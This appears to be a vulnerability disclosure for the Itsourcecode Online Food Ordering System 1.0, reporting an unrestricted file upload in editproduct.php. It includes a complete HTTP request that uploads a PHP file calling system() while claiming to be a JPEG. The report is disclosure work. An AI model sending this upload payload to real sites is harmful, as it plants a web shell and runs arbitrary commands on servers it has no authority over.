Skip to content

Latest commit

 

History

History
80 lines (70 loc) · 3.46 KB

25_07_2024_a.md

File metadata and controls

80 lines (70 loc) · 3.46 KB

Itsourcecode Online Food Ordering System Project in PHP with Source Code 1.0 editproduct.php Unrestricted Upload

NAME OF AFFECTED PRODUCT(S)

  • Online Food Ordering System Project in PHP with Source Code

Vendor Homepage

AFFECTED AND/OR FIXED VERSION(S)

submitter

  • N3xu5Cr4ck37

Vulnerable File

  • editproduct.php

VERSION(S)

  • V1.0

Software Link

PROBLEM TYPE

Vulnerability Type

  • File upload

Root Cause

  • In line 8 of the editproduct.php file, the input obtained through $-FILES is directly used to determine the storage location of the file without verification or cleaning. The specific code snippet is as follows:
  • 1

Impact

  • Attackers can exploit this vulnerability for unrestricted uploads, which may lead to file overwrite, file injection, directory traversal attacks, and denial of service attacks. Remote attacks may also result in RCE

DESCRIPTION

  • N3xu5Cr4ck37 discovered that the file upload operation was triggered on line 80 of the 'editproduct.php' file and the uploaded file was received using the '$_FILES' variable. Due to the lack of appropriate input validation and cleaning, remote attackers can pass malicious payloads through this file upload feature, resulting in unrestricted file uploads, which may further lead to remote code execution (RCE).

Vulnerability details and POC

Payload

POST /editproduct.php?product=15 HTTP/1.1
Host: localhost:8111
Content-Length: 2421
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost:8111
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzFkG7MluIbSZRB3c
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8111/product.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryzFkG7MluIbSZRB3c
Content-Disposition: form-data; name="pname"

Egg Baked In Tomatoes
------WebKitFormBoundaryzFkG7MluIbSZRB3c
Content-Disposition: form-data; name="category"

4
------WebKitFormBoundaryzFkG7MluIbSZRB3c
Content-Disposition: form-data; name="price"

310
------WebKitFormBoundaryzFkG7MluIbSZRB3c
Content-Disposition: form-data; name="photo"; filename="rce.php"
Content-Type: image/jpeg


Node: Sorry, due to some encoding reasons, I am unable to use Markdown to store image data with attack payloads here. I will take a screenshot to show


<?php system("ipconfig"); ?>
------WebKitFormBoundaryzFkG7MluIbSZRB3c--
  • 2

Upload file name change

  • The renaming rule consists of adding an underline and a timestamp to the original name
  • 4

I successfully executed the PHP script on the terminal

  • 3